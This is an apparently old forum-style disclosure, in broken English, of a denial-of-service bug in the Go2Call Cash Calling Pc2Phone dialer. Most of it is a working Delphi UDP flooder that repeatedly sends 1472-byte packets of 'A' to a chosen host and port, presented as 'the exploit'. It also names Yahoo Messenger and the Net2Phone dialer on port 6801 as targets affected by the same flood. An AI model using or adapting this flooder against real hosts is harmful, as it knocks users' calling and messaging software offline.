Hi, sorry fo my english.

I found some bug in programm Go2Call Cash Calling

It's dialer for talking from Internet Pc2Phone



If you send a little UDP packets with size 1500 bytes

for example 1472 chars 'A' on 5000 port then this prog

will doesn't work 

The exploit is very easy

a part of code on Delphi 



procedure TForm1.Button1Click(Sender: TObject);

var C:string;

    N:integer;

    MyStream:TMemoryStream;

begin

      Memo1.Lines.Add('start');

      C:=Edit3.Text; //for example 'AAAA...' 1472 char 'A' for certain

      N:=strtoint(Edit4.Text);

      NMUDP1.RemoteHost:=Edit1.Text;

      NMUDP1.RemotePort:=strtoint(Edit2.Text);

      MyStream:=TMemoryStream.Create;

      try

         MyStream.Write(C[1],Length(C));

      for n:=1 to N do

      begin

         NMUDP1.SendStream(MyStream);

      end;

      finally

         MyStream.Free;

      end;

      Memo1.Lines.Add('finish');

end;



Yahoo messenger for example lost connection afte so ataks and 5000 UDP 

port too

Net2Phone dialer pc2phone (likely Go2Call dialer) will have sound noize in 

your headphone, 6801 UDP port